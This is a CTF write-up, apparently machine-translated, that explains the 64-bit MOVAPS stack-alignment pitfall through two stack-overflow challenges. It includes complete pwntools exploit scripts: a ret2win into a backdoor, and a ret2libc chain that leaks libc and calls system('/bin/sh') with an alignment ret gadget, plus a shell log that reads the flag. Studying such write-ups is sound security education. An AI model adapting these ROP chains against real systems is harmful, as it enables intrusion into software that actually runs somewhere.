When you perfectly laid out your stack, leaked the address of libc, got the syetem address in libc, got the'/bin/sh'address, and sendline got through one step later, but you suddenly found out, what? Why did system fail? The address is also right, check it over and over, and it's all right.
At this point you start to wonder if a new libc was used on Server or if there was an address acquisition error? Ten thousand questions have come up to you. But it's probably just a retn problem that stumbles you at the last step. It's The MOVAPS issue.
Causes of the problem
First, put on the two topics that Xiao Ming students have recently encountered:
Tamilctf2021,pwn,Nameserver
DownUnderCTF2021,pwn,outBackdoor
Interesting little buddies can see these two topics. The two topics are very similar, both stack overflow controls eip. But! No shell!! annoying!
DownUnderCTF2021-outBackdoor
DownUnderCTF is much simpler and provides an outBackdoor function directly
protection mechanism
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Loophole
int __cdecl main(int argc, const char **argv, const char **envp) { char v4[16]; // [rsp+0h] [rbp-10h] BYREF buffer_init(argc, argv, envp); puts("\nFool me once, shame on you. Fool me twice, shame on me."); puts("\nSeriously though, what features would be cool? Maybe it could play a song?"); gets(v4); return 0; } int outBackdoor() { puts("\n\nW...w...Wait? Who put this backdoor out back here?"); return system("/bin/sh"); } //v4 stack structure of main -0000000000000010 var_10 db 16 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
Simple, stack overflow, depending on the stack structure of main, we know that we can overwrite eip by filling in just 0x10+8 data.
Is it easy? exploit is as follows:
#!/usr/bin/python #coding:utf-8[/size][/align][align=left][size=3] from pwn import * context(os = 'linux', log_level='debug') local_path = './outBackdoor' addr = 'pwn-2021.duc.tf' port = 31921 is_local = 1 if is_local != 0: io = process(local_path,close_fds=True) else: io = remote(addr, port) # io = gdb.debug(local_path) elf=ELF(local_path) p_backdoor=elf.symbols['outBackdoor'] p_main = elf.symbols['main'] p_system = elf.symbols['system'] p_bin_sh = 0x4020CD p_pop_rdi = 0x040125b p_retn = 0x04011FA p_ = 0x04011E7 io.recvuntil(b"Maybe it could play a song") #Error demonstration get_shell = cyclic(16 + 8) + p64(p_backdoor) #Error demonstration # gdb.attach(io, "b * outBackdoor") gdb.attach(io, "b * main") io.sendline(get_shell) io.interactive()
Interested students can check to make sure that this exp is okay (at least it looks like it is right now). But if we check it, something strange happened.
The program outputs the following prompt, and it's easy to see that this prompt comes from the outBackdoor function, indicating that we did type in the outBackdoor and start executing the shell. But you can't do it no matter how you try it? Why?
W...w...Wait? Who put this backdoor out back here?
My solution
.text:00000000004011E7 lea rdi, command ; "/bin/sh" .text:00000000004011EE mov eax, 0 .text:00000000004011F3 call _system .text:00000000004011F8 nop .text:00000000004011F9 pop rbp .text:00000000004011FA retn Replace the above error demonstration with the following and get it successfully shell p_ = 0x04011E7 get_shell = cyclic(16 + 8) + p64(p_) # This also works
Ah, you are ignorant. Although you get the shell, you are still fascinated by it. Why? You didn't think about it carefully. After all, you can't get started with it and you can't understand the thinking of the great god. So the problem remains unsolved.
Positive Solution
Until one day, I saw the correct solution ^1 on CTFtime and felt it again.
This writeup means that there is an answer to this question in this link ^2, and only one retn is needed.
What! Open this link silently with the following key information:
After searching the instruction movaps segfault I came across this site^3 that explains the issue.
The MOVAPS issue If you're using Ubuntu 18.04 and segfaulting on a
movaps instruction in buffered_vfprintf() or do_system() in the 64 bit
challenges then ensure the stack is 16 byte aligned before returning
to GLIBC functions such as printf() and system(). The version of GLIBC
packaged with Ubuntu 18.04 uses movaps instructions to move data onto
the stack in some functions. The 64 bit calling convention requires
the stack to be 16 byte aligned before a call instruction but this is
easily violated during ROP chain execution, causing all further calls
from that function to be made with a misaligned stack. movaps triggers
a general protection fault when operating on unaligned data, so try
padding your ROP chain with an extra ret before returning into a
function or return further into a function to skip a push instruction.
Simply adding a call to a ret gadget before the call to system aligned bytes, and allowed me to pop a shell.
Simple summary: On 64-bit machines, when you call printf or system, make sure rsp&0xf==0, the speaker is 16-byte aligned, and the last 4 bits are 0. Errors occur when these conditions are not met.
Amazing! That is to say, when I constructed payload, the stack did not meet the above conditions and offered GDB.
As shown in the figure above, if the minimum 4 bits is not zero when the system function is called (in fact, the half byte is 8)
So what about our own approach?
Indeed, the minimum 4 bits is 0, which meets the criteria.
His method, along with retn, meets the same conditions:
At this time, I understand a truth: I just fool a cat into a dead mouse!!!!
Let's analyze why we meet this dead mouse.
The blind cat meets the dead mouse
Dead-rat analysis
Here's the only difference in payload, but some get shell s and others don't:
get_shell = cyclic(16 + 8) + p64(p_retn) + p64(p_backdoor) get_shell = cyclic(16 + 8) + p64(p_) # This also works get_shell = cyclic(16 + 8) + p64(p_backdoor) #Error demonstration
Let's make a specific analysis:
We will break the retn at the time the main function returns,
The retn is then executed, and the pop-up value at the top of the stack is assigned to the eip.
As you can see, at this point rsp is rsp 0x7fffc8d60ec0
The next step saves the bottom of the previous stack so that after the function is executed, the last stack is restored. That is, after this step, the top rsp of our stack changes
► 0x4011d7 <outBackdoor> push rbp
And this change persisted until the system call. Since then, because rsp&0xf==0 is not satisfied, fail!
Okay, this dead rat has been analyzed
Why did I meet?
p_ = 0x04011E7 get_shell = cyclic(16 + 8) + p64(p_) # This also works
Because in my solution, I controlled eip directly to 0x4011e7 in the figure above, skipping the push rbp operation perfectly, rsp met the criteria. (Don't ask me why I thought of such a "genius" idea, because I guessed it by nature.)
So what is his solution?
get_shell = cyclic(16 + 8) + p64(p_retn) + p64(p_backdoor)
You can see that before entering the backdoor function, a retn operation was performed. The retn operation is actually to pop a unit at the top of the stack into the EIP, in this case rsp+8, so first pop up a unit, then press a unit into the backdoor function, which is not balanced!
Tamilctf2021-Nameserver
Occasionally, two days after DownUnderCTF began, TamilCTF came up with the same question.
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) int __cdecl main(int argc, const char **argv, const char **envp) { char buf[32]; // [rsp+0h] [rbp-20h] BYREF setbuf(_bss_start, 0LL); puts("Welcome to TamilCTF"); printf("what is you name: "); read(0, buf, 500uLL); return 0; }
A typical stack overflow first leaks the libc address through puts, then finds the address of system, /bin/sh, ROP, getshell in libc. Haha, the light car is familiar with the following exp:
from pwn import * from LibcSearcher import * context(log_level='debug') # context.terminal = ['terminator','-x','sh','-c'] local_path = './name-serv' addr = '3.97.113.25' port = 9001 is_local = 0 def debug(cmd): gdb.attach(io, cmd) if is_local: io = process(local_path) # debug('b * (vuln+0x121d - 0x11a2)') # debug('b * (main)') else: io = remote(addr, port) # io.recvuntil(b'what is you name: ') # payload = cyclic(500) p_pop_rdi= 0x0004006d3 elf = ELF(local_path) p_puts_plt = elf.plt['puts'] p_puts_got = elf.got['puts'] p_read_got = elf.got['read'] p_start = elf.symbols['_start'] p_main = elf.symbols['main'] p_read = elf.symbols['read'] p_bss = elf.bss() io.recvuntil(b'what is you name: ') payload = b'a'*40 + p64(p_pop_rdi) + p64(p_puts_got) + p64(p_puts_plt) + p64(p_main) io.send(payload) p_puts_addr = u64(io.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) print(hex(p_puts_addr)) obj = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_base = p_puts_addr - obj.symbols['puts'] #Calculate libc base address system = libc_base+obj.symbols['system'] #Calculate the real address of each function bins = libc_base+next(obj.search(b'/bin/sh')) # gdb.attach(io, ''' # b *0x400660 # c # ''' # ) payload = b'a'*40 + p64(p_pop_rdi) + p64(bins) + p64(system) #Error demonstration io.send(payload) io.interactive() Ahha, error demonstration (journey: always thought yes) libc Something went wrong, I tried it Libcsearcher,DynELF,Don't mention crashing) # The point is that this retn was added because ''' The MOVAPS issue If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction. ''' p_retn = 0x00400661 payload = b'a'*40 + p64(p_pop_rdi) + p64(bins) + p64(p_retn) + p64(system)
Add retn, get shell.
what is you name: $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x26 bytes: b'flag.txt\n' b'libc.so.6\n' b'name-serv\n' b'start.sh\n' flag.txt libc.so.6 name-serv start.sh $ cat flag.txt [DEBUG] Sent 0xd bytes: b'cat flag.txt\n' [DEBUG] Received 0x27 bytes: b'TamilCTF{ReT_1s_M0rE_p0wErFu1_a5_LIBC}\n' TamilCTF{ReT_1s_M0rE_p0wErFu1_a5_LIBC}
summary
In this paper, The MOVAPS issue problem is explained and analyzed in combination with two related topics in DownUnderCTF2021 and TamilCTF2021. As far as the topic itself is concerned, the very simple ROP is The MOVAPS issue, which is easy to understand.
Recent remarks refresh my understanding that RE examines not only the reverse technique, but also the Google and GIThub techniques; Crypto examines not only your mathematical knowledge, but also your ability to read paper s.
So, what do you really think is what you think?
The world is so big, go out and see more. Reference
Focus on private acquisition [ Strategies for Network Security Learning]